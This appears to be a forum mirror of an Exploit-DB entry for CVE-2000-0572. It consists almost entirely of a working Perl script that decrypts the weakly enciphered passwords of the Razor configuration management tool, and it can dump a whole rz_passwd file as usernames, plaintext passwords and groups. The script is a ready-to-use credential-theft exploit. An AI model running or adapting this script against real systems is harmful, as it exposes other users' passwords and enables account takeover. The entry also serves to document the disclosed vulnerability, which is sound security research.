- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 20058
- Проверка EDB
-
- Пройдено
- Автор
- SHAWN A. CLIFFORD
- Тип уязвимости
- LOCAL
- Платформа
- UNIX
- CVE
- cve-2000-0572
- Дата публикации
- 2000-06-15
Код:
source: https://www.securityfocus.com/bid/1424/info
The Razor Configuration Management program stores passwords in an insecure manner.
A local attacker can obtain the Razor passwords, and either seize control of the software and relevant databases or use those passwords to access other users' accounts on the network.
#!/usr/local/bin/perl
#
# Title: passwd_rz.pl
# Author: Shawn A. Clifford
# Date: 2000-June-15
# Purpose: Encrypt/decrypt Visible Systems Corp.' Razor passwords
# Usage: passwd_rz.pl [ hex_hash | password_file_name ]
#
# When run without arguments, this program will prompt for
# a plaintext password and produce the ciphertext that Razor
# would create for the same string.
# Eg.: ./passwd_rz.pl
#
# Enter a password, max 8 chars: WayLame
# Hash (in hex): D5585E13585B59
#
# When passed a hex-character string, the program will
# generate the corresponding plaintext password.
# Eg.: ./passwd_rz.pl D5585E13585B59
#
# Decrypting input hex string: D5585E13585B59
# Plaintext password: WayLame
#
# When passed a filename for a Razor password file (rz_passwd),
# the program will dump all of the entries in the password
# file. Each entry contains a username, password, and group.
# Eg.: ./passwd_rz.pl rz_passwd
#
# Decrypting Razor password file: rz_passwd
#
# Username Password Group
# -------- -------- -----
# luser123 lamerz please
# luser45 cant fix
# buckwheat code this
# .
# .
# .
# tester1 CCCCCCCC test
# tester2 AAAAAA test
#
# 233 password entries
#
use strict;
#
# Defines
#
my $arg; # Command line argument
my $PLEN = 8; # Maximum number of chars in a password
my $PGLEN = 22; # Output page length
my @hash; # Password hash (err, lame cipher)
my $passwd; # Plaintext password
my $byte; # A single byte/char
my $buffer; # Record from the password file
my $i; # Counter/index
my $user; # Username from password file
my $group; # Group name from password file
my $rec_fmt = 'A17 C17 A17'; # rz_passwd record format
my $rec_size = length(pack($rec_fmt, ())); # Size of a password file record
if ($#ARGV < 0) { # We want to encrypt a password
#
# Get a password
#
print "\nEnter a password, max 8 chars: ";
$passwd = <STDIN>;
chomp $passwd;
#
# Encrypt the password
#
print "Hash (in hex): ";
for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {
#
# For each byte in the password, rotate right 2 bits
#
$byte = unpack("C", substr($passwd,$i,1)) >> 2;
$byte += unpack("C", substr($passwd,$i,1)) << 6;
#
# Mask off the resultant low byte and save
#
$hash[$i] = $byte & 0x00ff;
printf "%X", $hash[$i];
}
print "\n\n";
} else { # We want to decrypt a rz_passwd file or hex string
$arg = shift;
if ( -f ${arg} ) { # It's a file to process
print "\nDecrypting Razor password file: $arg\n";
open(IN, "<${arg}") || die "Can't open passwd file: $!";
$i = 0;
while ( read(IN, $buffer, $rec_size) == $rec_size ) {
if ($i % $PGLEN == 0) {
print "\nUsername Password Group\n";
print "-------- -------- -----\n";
}
($user, @hash, $group) = unpack($rec_fmt, $buffer);
$group = substr($buffer, 34, 17); # unpack didn't give me this,
why?
printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group;
$i++;
}
printf "\n%d password entries\n\n", $i;
close(IN);
} else { # It had better be a string of hex digits!
print "\nDecrypting input hex string: $arg\n";
#
# Convert ASCII character string to a binary array
#
@hash = ();
for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) {
$byte = hex(substr($arg, $i*2, 2));
$hash[$i] = $byte;
}
#
# Call the decrypt function to print the plaintext password
#
printf "Plaintext password: %s\n\n", decrypt(@hash);
}
}
sub decrypt {
my @hash = @_; # Pick up the passed array
my $passwd = (); # Zero the output plaintext scalar
my $i;
my $byte;
#
# Decrypt the lamely enciphered password
#
for ($i=0; $i < $PLEN; $i++) {
#
# Convert NULLs to spaces
#
if ($hash[$i] == 0) {
$passwd = $passwd . " ";
next;
}
#
# For each byte in the hash, rotate left 2 bits
#
$byte = $hash[$i] << 2;
$byte += ($hash[$i] >> 6) & 0x03;
#
# Mask off the resultant low byte and save
#
$passwd = $passwd . chr($byte & 0x00ff);
}
return $passwd;
}
- Источник
- www.exploit-db.com